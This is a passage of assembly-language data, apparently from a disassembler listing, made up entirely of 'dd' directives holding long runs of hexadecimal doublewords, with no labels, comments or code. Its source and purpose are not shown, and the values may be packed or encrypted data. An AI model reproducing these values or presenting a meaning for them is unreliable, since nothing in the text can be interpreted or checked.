46BF6EDDh, 913FA26Bh, 0F1D7F82Fh dd 0F5687803h, 362590BBh, 9FFE95EEh, 57190A62h, 0FE838EF6h dd 93C130C9h, 0EB084FC8h, 0AA772B04h, 16C0BD00h, 1B515B8h dd 0C511F16Ch, 6D51017Ah, 2179E04Ch, 0D117D846h, 0DA21410Ch dd 2EA8A5Bh, 0E94613F1h, 0E956E04Dh, 0EC06908Eh, 13D44C62h dd 80C7129h, 0D725FB9Fh, 567F36CEh, 910C494Bh, 4F549A50h dd 2EB2DDD8h, 10846AB3h, 9AE3AE17h, 4ACB5D50h, 2D9DEB87h dd 2F7FA06Ch, 7E195A72h, 4EBF2F5Fh, 0A857AA46h, 3FA4C40Ah dd 7E0BDDABh, 0F58BA117h, 0F6ACE93Ah, 59FDA02Eh, 0B75E9228h dd 7CA5E7Ah, 6748C010h, 381874Ah, 0F77BFEFCh, 4A93488Ch dd 0C6BBEDC0h, 47643E51h, 0FC55C7D0h, 1EC2BA63h, 4F3D7835h dd 0B1F054Bh, 0FBD634B5h, 253D712Eh, 0C06F9230h, 1205E2B9h dd 14E125Eh, 8118B2Ah, 50BA558Ch, 953AD2BEh, 0B30E2C40h dd 0E27EB80h, 0DEBABCC3h, 418D3EA0h, 0B643417Bh, 3EF3C1CAh dd 2BA70E17h, 80C5E917h, 26F1B874h, 25526200h, 538745EAh dd 7905E240h, 4C1E012Bh, 0F15EF62Dh, 49AE3AC0h, 0A2C55832h dd 3FDDC88h, 2D227B68h, 0EF37C1EDh, 3446FB6h, 0AA12CF19h dd 167E2CCDh, 2274AA8Fh, 0A2FBD452h, 541CB1FFh, 447532E2h dd 2019793h, 0E0F8295Dh, 41DF31D9h, 74538C92h, 2F7ED38Ah dd 4C1E3517h, 55346827h, 5D24AAE6h, 0F281F9C0h, 0C2B3539Ch dd 0D041CBD9h, 0D34392E3h, 2383850Dh, 38BBCC67h, 7CB52D9Dh dd 0F0010C97h, 659D3C56h, 92116ABh, 9EF65554h, 0E836AB02h dd 0EAF66Ah, 1E8325BDh, 32E4E98Dh, 0E408309Ah, 8279842Dh dd 6E86318Ah, 53C0C74h, 0ACC98D09h, 0D81252D4h, 72AAE384h dd 9915A85h, 777E7029h, 4D528A4Ah, 0D36F5EEAh, 0BF4BC084h dd 0DF1AEED5h, 0DF9E01FBh, 749762DAh, 4812FB60h, 3FF3C5D9h dd 0BA647416h, 0F7B71A62h, 702CA415h, 0E0987525h, 0F8B7F589h dd 45E5EDBh, 0AA4F29EEh, 352F26B2h, 0F13D3C52h, 72369363h dd 0C213FDFCh, 388EFFA9h, 7FA10825h, 62FEF9E3h, 934BDF34h dd 4365554Bh, 0B72498ADh, 0EFC017D6h, 0CA820B04h, 30C92507h dd 0CF28A0C7h, 2E4CD298h, 3BDB818Dh, 91EC2338h, 704CBD39h dd 81459E51h, 1E34BB58h, 81F563D6h, 502F4F3Ch, 0DAD8FD74h dd 32EA9226h, 5422652Dh, 2A55B869h, 302A29FEh, 7734FBBh dd 8822F92h, 0BBFE3157h, 74F6E0DFh, 470220E9h, 0ADD048EAh dd 1D3C0799h, 0CE613ACBh, 1CDD0FABh, 1662EEF0h, 0BF605840h dd 701A8204h, 0C0425B05h, 0FE05E0E0h, 20372E7Dh, 0C1D74CFDh dd 0E5AA07B5h, 0E22DCC20h, 0DAF49F09h, 4BAD8757h, 0BE6C19Ch dd 4D026521h, 726B9054h, 5C61FDDh, 8927F945h, 0E9C26A7Eh dd 139D5CE5h, 62EBA621h, 0D8E0E979h, 0CB5EBF87h, 0F6B2775Ah dd 53DCC77h, 0BF5FD268h, 0F7DC8041h, 0AC28111Bh, 0C412BD7Bh dd 0A8169F13h, 8BDDE11Dh, 0BA7DE25h, 336023E9h, 0CD5BC980h dd 3C73BCBCh, 12FF03E1h, 0B34F682Fh, 0FCB23BE7h, 143E0133h dd 0E0D88258h, 990A2B9Fh, 0CEB59876h, 5B813438h, 0C77EF4D9h dd 5C748BE1h, 0E76858E0h, 0CDD59E70h, 87283ADFh, 8F5A56D6h dd 1F5BF740h, 0D44D8E18h, 841C0C6h, 847F352Fh, 0B163BCD8h dd 616A7EE9h, 36EAB2F8h, 6ABD1120h, 3E684E62h, 0A1AB88AFh dd 0D8B05DF0h, 75325878h, 0F5281061h, 5AA98D60h, 0FCE4E7FCh dd 59D6F9FEh, 2C5312AFh, 0FC27E96Eh, 0F599BA33h, 1168F1C8h dd 4CB13253h, 40602E4Dh, 0F7A65C99h, 96880CB7h, 0C678B3A8h dd 6B52BFA1h, 8BEAE516h, 0DDE9093Ah, 9992FD1Ch, 7E3236C0h dd 0C34F6024h, 701CD01Dh, 0C7F3007Eh, 1A42604h, 685AC4DAh dd 9F69AC6Fh, 299EBAC1h, 0A87A8976h, 53E44F79h, 15872FE9h dd 51E02176h, 996A9C68h, 13ABA62Bh, 71C9E33Ah, 77445E1Fh dd 1A2BD34Ch, 0EEA1A15Fh, 564EB42Bh, 200A589Fh, 0D5929BE8h dd 1368590Bh, 2A9CD537h, 0C0299Dh, 913F0FABh, 565A0517h dd 0A9312968h, 290325F9h, 0C5E25DE3h, 5F9D6277h, 289B2118h dd 0FECB3080h, 1F1B68B3h, 0E4BF0191h, 216C8316h, 39F22BB9h dd 448EFAC9h, 697F2157h, 0A8A80516h, 0C7248005h, 5B96A8D1h dd 0AFB52CECh, 87EAB153h, 53E941EFh, 7845A53Eh, 0C2909D0h dd 0C070AFF1h, 121C215Ch, 0E8CF2541h, 1777680Eh, 1DCBFB17h dd 5FAAE64Eh, 71E9FBC8h, 0EA2BEFF8h, 1703B521h, 0F6670B0Ah dd 68DBE8FEh, 0CB0B4F62h, 4A18587Eh, 0D1E293BBh, 734911BAh dd 30A62180h, 53BF877Bh, 18FC2DCDh, 7670369h, 0DE9C9A53h dd 74B90012h, 0F70C1438h, 0BDCD158h, 2EBC78Fh, 0FA865413h dd 75160C25h, 850C3895h, 4477314h, 936302A4h, 0F789BF5Ch dd 0BD8150E5h, 8277A366h, 6F9C17Fh, 0F501DC9Ch, 8817AB0h dd 5776E2E9h, 93EE8000h, 0EFED6F6h, 4E6C0C6h, 0E907857Eh dd 0BFA9952Ah, 1779F8F0h, 541CB86Ah, 2305D1ECh, 0E8095B50h dd 0F6B051F1h, 8E685568h, 508C5A4Eh, 616C0E33h, 0AAA9E94Eh dd 0D30948FBh, 2DA76611h, 8A27CB7h, 1EDF583Fh, 8013FCFCh dd 6C120ABFh, 66041CE4h, 0CDEA585Fh, 0E95050D8h, 7D97B118h dd 0C85F1A32h, 1BCBAA9h, 0B93DA11Ah, 0F6882CCBh, 0F08E4E5Dh dd 90E916F9h, 0C721FE54h, 0A93EC507h, 860592F1h, 5DB20CEAh dd 9DF0C13Ch, 6C18437Eh, 4D2068B7h, 968EBF73h, 0A2662510h dd 9F513F0h, 0FEA8A9C9h, 0E492EE55h, 6C1ED4D3h, 75F4FB10h dd 10BF662h, 7965FE8h, 58989180h, 56E1000h, 54DF2316h dd 2DE82829h, 565D0407h, 0EA7B33BEh, 2510181Fh, 0C940481Dh dd 6D7402A5h, 53459BC2h, 0C1551395h, 50D9F22h, 0C1D149B0h dd 0CD4E997Eh, 5A0C8473h, 42C29F0Ah, 5A7658BAh, 1E3AD85Bh dd 0C45C8140h, 4E8A350h, 0B3EA5854h, 0B5A84BFh, 59CA3102h dd 7FC3BA77h, 6ABFD102h, 0A380A554h, 9776C7Fh, 475B30DFh dd 4E79E414h, 263444Dh, 1E3B43F3h, 0C5C3FF69h, 0E999EB9Bh dd 5B2F2CC4h, 0F7139C16h, 0CF120AA8h, 55E82078h, 51508C2Dh dd 590F4D25h, 4DE989B7h, 0D4D9F3E1h, 2D744BAFh, 1CC15527h dd 87B82E57h, 8B56DEA1h, 715C69C7h, 7EE68049h, 0FC686A94h dd 21EA7C0Bh, 830AF75Eh, 4F1A03E4h, 3A2C2978h, 73AD8896h dd 0C2E4EEBDh, 0E9709002h, 0D9C0FE85h, 6D1673EAh, 0BB49666h dd 0B77C9DFAh, 7256C62h, 13CE24Fh, 87D5F700h, 0BDEFFEEEh dd 0EF354F05h, 2F6851E0h, 14FC02DAh, 62BA50h, 0CD817DEEh dd 616056C9h, 9136998h, 77021189h, 0D05ECFC7h, 28CCECB3h dd 27A9BF0Ch, 5D76EF2Ch, 4E166858h, 0D08E314Eh, 5903EAh dd 3D185672h, 0D8F58172h, 545E407Bh, 0AA9770B8h, 0B6521A00h dd 4CC6805Eh, 7BA572h, 45AF030h, 42C1E991h, 5C2F9093h dd 7CF6AF67h, 77DC7752h, 496BDD51h, 0C065C58Ah, 5C0B4FA8h dd 85587F7Dh, 19A40CA4h, 81C027E9h, 2088B048h, 893F20B9h dd 8939ED11h, 8BA8893h dd 56CD6809h, 0D2BA897Fh, 7F6BCCF4h, 7A5BFDE1h, 803D4CE6h dd 0E2AA33E2h, 60089008h, 5AD013Fh, 0CAF72B2Ah, 859B7E55h dd 906ECAE9h, 28C3F63Ch, 13C3F34Ch, 12903D09h, 5F6B7BC8h dd 4A05FF74h, 34BF8D5Dh, 310F37Ah, 0D64E29B9h, 1928383Ch dd 77DDFB4Bh, 94618DF4h, 0E462B110h, 3EB6D1D3h, 413758F0h dd 112A889Bh, 0F389092Dh, 6B43BE49h, 0C707F3E9h, 0B460DB41h dd 0AB7ED570h, 384A01CAh, 6812599Ch, 2A8C2012h, 3C6909ECh dd 0DAD55176h, 0A45F5A84h, 0D4691490h, 95038179h, 0C26A8AB4h dd 49DC05D7h, 11CC96BEh, 0FE2E399Dh, 14F70244h, 0A6D11B0Ah dd 0B364019Fh, 65296054h, 26A1CCE3h, 0C7BD230h, 4C12F858h dd 0E91F9702h, 5D38B287h, 70A707Dh, 1EC6C30h, 6F172668h dd 0E4953D98h, 8A515BC7h, 7BB004D1h, 1FECC188h, 5E1C0A0h dd 0E9C9FE1Fh, 0F6BA002Dh, 2B050DDh, 58C53096h, 83DEE828h dd 211A088h, 7470F0B9h, 2BBCE0F7h, 35EA2F38h, 0AAAC0475h dd 0F8EB0694h, 0A4CFF12Dh, 69D6412Bh, 0EC587A6Ch, 59979578h dd 0F9C4CF1Fh, 0DC9CE55Eh, 0ECB6B3Dh, 22E18049h, 9048C913h dd 3F5EDE5Ah, 49A43E41h, 70D5E78Ch, 12030699h, 61EE2EB9h dd 2EF78DBBh, 9E9489F3h, 0F4901A84h, 84127DC9h, 0F61EFD33h dd 0F4FD4CE7h, 0D09FCC8Ch, 5361AD0Eh, 0AB44C339h, 5AE53FE1h dd 0C11CA82Ah, 89AEB8C2h, 0F235D0D2h, 57D702EEh, 0CE014E60h dd 76746C40h, 0BA28BF28h, 0A0E1630Fh, 3FD0C825h, 558ADC58h dd 5B2010D4h, 794865ACh, 0AB1ADA07h, 0B75E22Dh, 30659AFh dd 519F104Ah, 704ECCCCh, 37E8465Ah, 4ACA68E3h, 0DB643A54h dd 0DAAB9C94h, 0E1944A27h, 13528EEBh, 1EF25FF8h, 0B8C06652h dd 5ED46F9Fh, 3F8EE91Ah, 8722D7F5h, 5101ED31h, 0CB7C4668h dd 0BD8D12DEh, 0FB8009E8h, 0A186CCFEh, 77EAF5D3h, 65C5D1F6h dd 2CBF0494h, 0CA39FEB0h, 0D71E2580h, 40E85EC8h, 9530612Ch dd 97637E03h, 380C0042h, 53646527h, 0B39D62E9h, 0C05A4B48h dd 8D31C393h, 2815415Ch, 0ECDE07F3h, 0D2894F5Ah, 0EFC5221Eh dd 0CD38D1B5h, 0A0CA7E5Ch, 4E304610h, 3A4842F8h, 0C7B21707h dd 0AABEEAFh, 71658C5Eh, 0CE4830A8h, 0E91B3513h, 0C4FFD314h dd 8E74FE78h, 9E01DDFCh, 59134F45h, 0C3716153h, 0CC5F5FCAh dd 3D1AA9D3h, 5C502DEBh, 0CA0B046h, 0C5124EF1h, 42B44F41h dd 91365FE5h, 9710B008h, 8EFDEA95h, 0C26A4842h, 45C3476Eh dd 0B1E4FA43h, 8B3D17D9h, 4C83ED12h, 3FFF2EC6h, 108FD42Fh dd 70B04F20h, 0ECD8E0D2h, 0D504395Bh, 98DD7525h, 809E1814h dd 1F4BDE68h, 0C521A531h, 0A1B1E804h, 0B1059612h, 0C4B02F30h dd 700B9D97h, 7CAFF9DBh, 0C6B8786Eh, 3FD31902h, 0BE53EE9h dd 0DC25B85Eh, 0BF587A48h, 75D2D949h, 22EEA324h, 34C80939h dd 0C1F0D5B8h, 0E897232Fh, 0D25EF57Ch, 0B37C0106h, 0E6597361h dd 25C447DFh, 971747D1h, 0B8738CEBh, 0F547753Eh, 283F0502h dd 81352915h, 484FA8C1h, 111D3D8h, 1705499Eh, 31803293h dd 9DAAF87h, 0A09CD784h, 3CFF555Fh, 0E93E5C39h, 0E6315A0Eh dd 5003FDE6h, 7B1B2AF1h, 0B3161CF7h, 0D0140AE2h, 17FB24FAh dd 0D888E61Fh, 967CE96Bh, 8B792D1Dh, 8027F258h, 1F1EDC2Dh dd 0BF8918F7h, 0C606FEABh, 0EAFC278Dh, 313B429Ah, 9FBE93D7h dd 0F8687B42h, 2CF95B16h, 0C1BB1667h, 61E528B5h, 8CB23B65h dd 7B5166A1h, 5982195Dh, 0D405EDC0h, 60B25130h, 0EE73CAA3h dd 662DEA00h, 0E935B450h, 0CF819507h, 3C5BB168h, 0EF4D3E6h dd 0DC4AE9h, 5FCC68F1h, 3690607Dh, 4E2C920h, 2DE6D8B9h dd 2FF5F052h, 37A6E15Ah, 0C756267Ah, 42DEC251h, 6FB159DDh dd 1C596EC6h, 0FF054Eh, 0B5B951C7h, 315C4D2Fh, 59B006ECh dd 1F0C75E6h, 655D5BE3h, 0C81482D7h, 6F545F2Dh, 5FBA4E2h dd 5CCBBA21h, 40823505h, 1F830511h, 535B8C45h, 0E2BDBB5Bh dd 0FF5AED5Dh, 0B9AC9616h, 0F3325986h, 60BF954Ah, 1D3D5DFFh dd 0F15C1979h, 4E804E3Bh, 5C0520BBh, 91108A78h, 9A05B8Fh dd 404C981Ah, 480D40B9h, 431D8F7h, 4A087FFFh, 44C7E12Bh dd 0F7F7AE67h, 2114151Ch, 2258163Ch, 496AD1CDh, 0CC745B84h dd 3EA4D896h, 4B20438Ch, 4F9F8ABBh, 0D8E786E8h, 0B9B8D7D6h dd 0FD0589D9h, 270B65ABh, 0EA5ED04h, 6781F331h, 7EE461E7h dd 4BC52D68h, 6B596998h, 0DF1D0C27h, 0E9EF3502h, 27E6D675h dd 0CD82FFCCh, 0E9346E16h, 8DA8D452h, 68173C22h, 64614A0Bh dd 14E411F8h, 440D0140h, 357D6836h, 12C2DEB7h, 383C835Ch dd 9B19763h, 0F27117BBh, 40D0C4BFh, 5226BF01h, 6CA16B75h dd 133673CCh, 0B451E948h, 0DD5F87C5h, 8B8422EDh, 7C5D0946h dd 19653C4Ch, 3EB3B1A9h, 925CFE0h, 19D938F2h, 0CF5FA087h dd 92B7BAB2h, 8427AC92h, 37EB0F5Ah, 7714922Ch, 865A83DEh dd 1F1B6F22h, 0DE465BDEh, 794547CEh, 8B7F7911h, 0EE884033h dd 0ADFF13FCh, 53DB2A1h, 2EE95453h, 1E1DA395h, 775785C9h dd 2F0CA779h, 454C6D47h, 4A182265h, 504EDB05h, 92C750DCh dd 56B13F21h, 2838B00Bh, 33DAF8E3h, 6A03B908h, 0B067A048h dd 2502DCEFh, 1E555BF2h, 85661036h, 0EAE114C8h, 9DAF4EB6h dd 81E07F64h, 0BC8D7FB6h, 6BA84396h, 0EA41C376h, 45821F31h dd 5BDF315Ah, 4A8E355h, 740E2996h, 3ADA101h, 0B3033888h dd 0A06D8CF5h, 0A50C0037h, 99BADBBh, 83735DEFh, 0B0658C5h dd 0ED5EA4B2h, 6AFA04EAh, 1DEC65E5h, 0F53D1E09h, 2DE71528h dd 292A85F5h, 0A0C9DF82h, 15D5BFC7h, 0BC665E17h, 361A040Ch dd 0D2BF6344h, 0F4759831h, 0E9F12711h, 0DBD2A6A8h, 0DFEA0F17h dd 0F2067DECh, 16FC1E8Fh, 0FD344E7Ch, 5F5EB678h, 5A4EF210h dd 5E271ABDh, 0F99F2E50h, 8B1001Dh, 0F0890C4Ch, 9B3E913h dd 0BB35AC40h, 0BE6A82C1h, 0EDD101CFh, 4A3B7AE9h, 0C36D484Eh dd 175F2958h, 0ECA48372h, 31ABA530h, 28236BB3h, 369DA0E9h dd 93C34A8h, 0EAE10278h, 0AF80A37Bh, 100CE4EDh, 0C7E05E4Eh dd 13655EE9h, 779BBEFAh, 0E9F1715Eh, 2FE57F34h, 0FEFE176Fh dd 1C8BC6C1h, 0F5CDFC7Fh, 0C9DC2CAAh, 84638149h, 224658A1h dd 0C67A65E5h, 0BCABD397h, 94B5F4DBh, 5072EB49h, 0CB13D2B1h dd 0D7A0FBD9h, 0ED224F37h, 1E9F8666h, 8360FC61h, 0FA0895D7h dd 0A1F63F67h, 7F698E7Fh, 9FD0FA57h, 0D9B4CA9Ch, 84668925h dd 78FD3687h, 2E01AE10h, 1E09D7F7h, 15EC7D8Fh, 18D8A227h dd 8150C2C1h, 0E1C23A5Fh, 0BCEC4BFBh, 9DDB4EB0h, 5F3905C6h dd 0DC652D68h, 6489D21Bh, 904E46D7h, 53C04062h, 96685702h dd 0D52F5D29h, 0D6193BB1h, 36F009E6h, 5F48AB4Bh, 2394BD02h dd 0A0D369B6h, 5E413143h, 93E44045h, 0F0EA4A87h, 0A3316841h dd 0A5F74346h, 92B15D03h, 580C237Eh, 7CB0994h, 415B02EBh dd 2F50966h, 276C635h, 6BC1E1F6h, 84166821h, 9EEB7168h dd 74A94B1Dh, 0D7D5E8D2h, 0AE4E52FDh, 522905DCh, 0F82DA1C5h dd 87F8FDC3h, 0F8BDBA06h, 7E0504E8h, 0ABB9A4CDh, 0C35AB7A4h dd 2AB652CFh, 0EEE1F382h, 16D36DA0h, 89301628h, 7C079B3h dd 0EB8005E3h, 5CCE3EB4h, 8694F3C0h, 0D163F6CBh, 31C3FE08h dd 5C1C0828h, 2DFA3A28h, 54817AD0h, 0D13A8A40h, 517A63DDh dd 0D658566Fh, 3E91B60h, 41002D96h, 4E2EC981h, 0FA027669h dd 0AF681F3Eh, 36F1010Ch, 7F6F782Bh, 14BB7713h, 2D249D3Bh dd 32688494h, 0EE2AD828h dd 63552913h, 0D39141BAh, 0D82C9D1Fh, 5A17A4E1h, 0E6017CD6h dd 6DEEF5Fh, 211F83Eh, 2321E0C7h, 0C29F4860h, 0CBDAA909h dd 0B8040C7Ch, 8734782Ah, 6FD56733h, 0E9EB2921h, 0F449CA95h dd 0EE29EEA6h, 86E92EE6h, 0E3818031h, 4BE242DCh, 10D3F730h dd 7E400AC3h, 6FF31650h, 21E1003Fh, 3913E9DDh, 3EBE65B5h dd 8321F325h, 2C02C368h, 807CC195h, 0CB7AF3E2h, 0ED1113F2h dd 7C1059E3h, 5ABD05B6h, 3B80D001h, 133E3ACDh, 1455DCCh dd 135872F0h, 0C14A8324h, 13C6D1Ah, 0AAF92218h, 20EE01D9h dd 72402AA9h, 37090968h, 10031327h, 50EFCEEBh, 0E9DF89ECh dd 8C0DD031h, 0BD28C230h, 9878BBA7h, 7FD3C4B5h, 0F4A74BE9h dd 503070Bh, 4973B672h, 6DF4CF89h, 0AF7316ABh, 680A4B8Ah dd 648E3C35h, 0E4ACAA54h, 0DF9357E8h, 5E9EBF32h, 11032733h dd 0FE8410EDh, 8BA1B3F2h, 5ABC4C2Ah, 0F4525626h, 8DF08A16h dd 387D9D5Ch, 187EC11Ch, 0C51FD09h, 27052EB2h, 56E92975h dd 0F1039182h, 17052676h, 4BAF9F5h, 7E54DFA8h, 9C4085E8h dd 0F5E91703h, 7BC1E759h, 0D606F627h, 0C3807049h, 0B0E494Dh dd 2971F4E9h, 98CB0016h, 73A25Ch, 3807CE81h, 70E90EEDh dd 524EC6Bh, 62E8E555h, 323DF305h, 57D1C06Ch, 0A5E823Ah dd 0F55ED809h, 0F66F2E51h, 0E0FF4604h, 0AEACB605h, 44EC9AA1h dd 0E87CBE0Ch, 0ABE8C9D3h, 8980D785h, 416EEECAh, 0BB097B24h dd 4B5ED838h, 9381F25Bh, 0AEE671FAh, 136867DDh, 0E4D189CAh dd 810048F2h, 1EE0A7EAh, 4EE395Bh, 0C35FF971h, 14881F6Eh dd 32DE412Ch, 0B57E3F50h, 401600A5h, 641C68C0h, 5D5D7079h dd 3AB2509Fh, 4EB80402h, 0FE2115E9h, 0D126B98Dh, 7B34829Dh dd 82803F32h, 78F31895h, 0F125E97Ah, 0AD1157FEh, 4C322F07h dd 10C35688h, 0C1800F66h, 3D24044Ah, 4B108ABAh, 7B8E71BFh dd 5C8C6B92h, 0F4E241D8h, 78D2E4B8h, 0CE077EF9h, 60667C75h dd 142728C3h, 10EE635Eh, 445E08F7h, 19C85B84h, 4C210278h dd 96B7BD11h, 487D7D9h, 3FF2EF80h, 82B697ECh, 10F92837h dd 0DFB75353h, 335B0E0Fh, 840E2452h, 8DEA64ACh, 0F1C561E2h dd 393B4E7h, 6DBB0905h, 0BE00EEC1h, 474559F6h, 1C0CCE31h dd 687BC4C0h, 0F299387Eh, 82B589AFh, 0F2170B4Bh, 9993985Ah dd 6EC70882h, 0EA2C5C26h, 0F5FA2892h, 5B7EECB2h, 5CB816D3h dd 1FCB9540h, 8A671E3Dh, 83FA1726h, 76BA52DFh, 6A463EE1h dd 0F8DE1EE5h, 0EBD0D328h, 31485BCAh, 4F3EEF10h, 0C13449BAh dd 0CD562077h, 580E03DDh, 4510DD4Fh, 0AD582754h, 0D60008D6h dd 5843AEB4h, 0F25638Ch, 5C42EC7Ch, 3BC4F566h, 0FEE3B912h dd 688387A8h, 0FD107FE6h, 5F098E99h, 8FDC5401h, 65195860h dd 9CD997Bh, 287480E9h, 2D2F12BBh, 8B9F54F3h, 0C4FDF56Fh dd 0D8D9B7CAh, 0D8A6325Bh, 707735E7h, 5CB3B877h, 77119250h dd 3DFB4B3Ch, 58F22FFBh, 5C169192h, 43302AEBh, 7D90E110h dd 9275B11h, 13FD5A21h, 6C3FD9D0h, 8402E23Eh, 0B9160116h dd 42832754h, 58867657h, 93025DAFh, 0FE9477Ah, 813054E5h dd 622CAC5h, 0C7427A01h, 40BA7CA0h, 1ADEEA68h, 180E3036h dd 0E978485Fh, 0FE504B54h, 0A5A66037h, 59BE077Dh, 0A2725C54h dd 1355795Eh, 0C806C282h, 3B65263h, 40B1510Ch, 0E22DE180h dd 5A1987BBh, 2F6C032h, 0FC5DE6EBh, 589580Bh, 47D3799Fh dd 0A87BFBEDh, 8A808112h, 9685658h, 3E640B0Fh, 0E27C7790h dd 939374D2h, 0B6A15A20h, 9392016Fh, 57E9FB87h, 0ABF2C52Fh dd 0E9A180E2h, 95166B3Ah, 5E6A1040h, 69BF117Ch, 840B0B6Eh dd 0BA4AFB50h, 0D44584BFh, 8A61EB79h, 322B5D9Ch, 4BD94069h dd 0E29FE98Bh, 0B2FDB92h, 44F53B4Bh, 0F4F2A05h, 0BFF15E99h dd 0D4BE3C12h, 5B2CEA15h, 163C32E9h, 9BFD6C35h, 5C47E912h dd 0F53AC049h, 75D12262h, 5B580640h, 0E1531589h, 478F5D0Ch dd 0D995DDC2h, 0A539285h, 0AD976D00h, 98B47BD0h, 33FDE00Eh dd 2FE9DAE0h, 0BD73CAD4h, 0AF33BFBDh, 68C369FEh, 0E32F7ECDh dd 75EADA10h, 2C1F43C7h, 8441B6EFh, 0C4F14AABh, 1CE856Ah dd 0E1C05860h, 2F95F407h, 0B0DEE69Ah, 1624E40Eh, 2DF69CEAh dd 3EE9198Eh, 70E7C3FCh, 7F9709D0h, 6817DDB4h, 45643C38h dd 0CFBDAFD1h, 38668004h, 36486B6Dh, 1359053Ch, 12AF2561h dd 5AFDFC8Fh, 8DD13F0h, 1B32E7Fh, 8B0AED24h, 25022232h dd 0C0E7FA56h, 307FFB6Bh, 0D8181986h, 50979967h, 5C7609E0h dd 0A8DD0452h, 4624086Eh, 0D6E0C60Dh, 130D1E3Bh, 5D10491Ch dd 0A32774FAh, 2556E43Bh, 930912E9h, 46AF1A65h, 9B68126Dh dd 5FEAE33Fh, 62483FF9h, 0BFB85017h, 0BF3605C6h, 0E925D97Ah dd 93CEF41Ah, 9464EAF3h, 0C9EE8485h, 0CFE9D824h, 0D8E38C4Bh dd 0B6B1707h, 3A09DF2Bh, 3A025413h, 2AE4E1EAh, 0D2F15536h dd 78032560h, 5080B42h, 81A3B801h, 8D3BF6D6h, 4CDABCD8h dd 0E5B7A7DCh, 0E4A0B01Bh, 159895F4h, 9824D98h, 0B4985DEh dd 8807BFB8h, 295A59CFh, 0BABC5DDh, 0C02356E9h, 0ADB9F531h dd 0D6334803h, 873C8E42h, 2EDFE218h, 86A18357h, 0A5496B01h dd 75C25813h, 9FC8E0B1h, 0DC4B1CE4h, 0A24AF2FDh, 49BE358Eh dd 89A8E2ABh, 701E9A66h, 0F965B7E9h, 683EEDA0h, 48598673h dd 0BD0D632Dh, 80E320C8h, 0EABAF788h, 4B555CD7h, 1252A24Eh dd 62C8D9A1h, 49EC2768h, 0D527DE53h, 0AF40F460h, 496364Ch dd 506E7B25h, 68EC05EEh, 3041A213h, 3C2E2E5Ch, 176B9E3Fh dd 7614BDF8h, 2EE8044Ah, 47E9FBB2h, 0F0416B49h, 0BFCEFA26h dd 528EE07Ah, 0C5B9774Ah, 0CAE259C8h, 2D26D37Ch, 320946ECh dd 0F619125Eh, 49A68436h, 0D2C3BFFAh, 8018F16h, 0EE3AD701h dd 5F29682Ch, 0C413E974h, 37F9FC48h, 5E49E94Fh, 0FFBD52EFh dd 94C4C0B2h, 0F20392B1h, 13FBD6Ch, 940399CAh, 0C704D1Eh dd 0C97A9BF4h, 13DE7284h, 0DBDEE7BCh, 68D9C4A0h, 4C77EE54h dd 0D25B161Bh, 7F4EFE74h, 5C24D0C4h, 0AB85139Ch, 0EC7BFB8Dh dd 0A3FFB5A8h, 0FD2577D2h, 2D80C6FEh, 0B2E66470h, 62148D5Eh dd 63160053h, 5759257Bh, 5550010Ah, 0A60967BDh, 5A54CE71h dd 0D673CB00h, 0B0D8F712h, 456B006Ah, 14053DD0h, 2B4F8D67h dd 70128E1h, 0B93E095Fh, 4EF04BF3h, 25A3B4BFh, 0D6FA8C94h dd 0CD4D5CB6h, 0DFA230ECh, 0BE1DE16h, 30D7670Ch, 17EF732h dd 4757B86Ch, 7B3E15E9h, 6B7BA1F7h, 827D1793h, 0A0F470FDh dd 7FA7E6CDh, 516200FBh, 2A3F6852h, 30903392h, 710FF202h dd 0E2891042h, 0C7AFD71h, 0A323FAC2h, 0DDBE62F6h, 38325F41h dd 0B85E0239h, 697185C3h, 637C5B95h, 7A56614Fh, 275F406Ah dd 514CC42Fh, 0C460416h, 10D386C2h, 6E5C6089h, 7FFA4879h dd 55F2055Ah, 0FACF9F13h, 0F0210731h, 21D38F77h, 0D6F4663h dd 9C7C5020h, 76E1631Eh, 84C79F01h, 2906165Ah, 0ABF2A02Bh dd 8FC50764h, 0BF5E68ACh, 801C1668h, 0B74BE9E3h, 0C130FE87h dd 0B728ED49h, 67FEE344h, 411DF796h, 0F6427393h, 0D61CF368h dd 4B8B679Ch, 96201464h, 13AEE6B8h, 1E40F77Fh, 494E9267h dd 0A58BF3E1h, 11CE90D5h, 10599D18h, 0FB5DEB42h, 58C30990h dd 0AF077B5Fh, 5972C87Eh, 0C0EF494Ch, 0D3F7E90Fh, 6C240046h dd 93E02715h, 29DB9C55h, 0BCB3DC7Ch, 0A0891D25h, 91EDAAFCh dd 66F0CB04h, 31C905Eh, 5B461C9Ah, 0CF1FE21h, 8BB32EEDh dd 68FD5D79h, 0D2E58101h dd 403CA454h, 91133187h, 89254D00h, 3578AE36h, 0FA3824BEh dd 0FD2E15B2h, 323C294Eh, 54871653h, 0AF4174AAh, 4B1D77ADh dd 927E7C87h, 9FFD9A26h, 15022360h, 5DA583B4h, 0ED580004h dd 0DBA4A96h, 0D1505E0Fh, 3BA36E03h, 9E10FE4Eh, 12FF5B08h dd 57CCD06Dh, 226084E9h, 6F38F6F3h, 89632694h, 59DFA1F7h dd 5D403BD5h, 0A60A94CBh, 13F3EC0Dh, 2BF1BDFh, 0A32EB784h dd 12203A60h, 3877C2E1h, 0F57868B0h, 39BF518Fh, 0FE7465FCh dd 256F52C9h, 38E16866h, 57132AE6h, 21E1DAF9h, 4A7A92D0h dd 802AA1E1h, 0BF78063h, 8B9719F6h, 4C2189BAh, 9CA29513h dd 45462954h, 1D9443F0h, 55685904h, 248BA3FBh, 0AFAD4566h dd 4C8C263Dh, 0C138312Eh, 62DB1E4Eh, 54B3D81h, 0EF01AB5Ah dd 1E0865AEh, 269C8789h, 55E20A1h, 0AC027C7Eh, 5C9B2D38h dd 0F8E1E184h, 94078FF2h, 13094911h, 1A915456h, 0A83BF176h dd 12DE8454h, 5DD908D2h, 0D45B3F16h, 0E66ED1B1h, 0C829C805h dd 445D4280h, 0EB8C07EBh, 377CABFDh, 0A7F7E321h, 65507073h dd 0ADC7F901h, 520977E9h, 0FCCD255Bh, 0B25D3052h, 0C7680918h dd 0C17C9B4Dh, 313B09E4h, 57FDF14h, 3905B3B8h, 8701BC1Bh dd 8548E1Ah, 0ABE0C60h, 60C963F3h, 0BD7E4127h, 4863FFFEh dd 3B4372D1h, 40C91B98h, 5309B86Ah, 7790A2E3h, 84311004h dd 0D13BE42Eh, 6C93FE9h, 6D3A987Eh, 0ECA34A5Ah, 8D363C09h dd 7700575Ch, 0E96F121Eh, 0D45E5340h, 45FD6805h, 2A7CC109h dd 9A3996h, 42DD0CA6h, 3D7DCF81h, 0D8E0F436h, 343A26E4h dd 97217895h, 0F0ED7070h, 0F8611BE9h, 97C3803Eh, 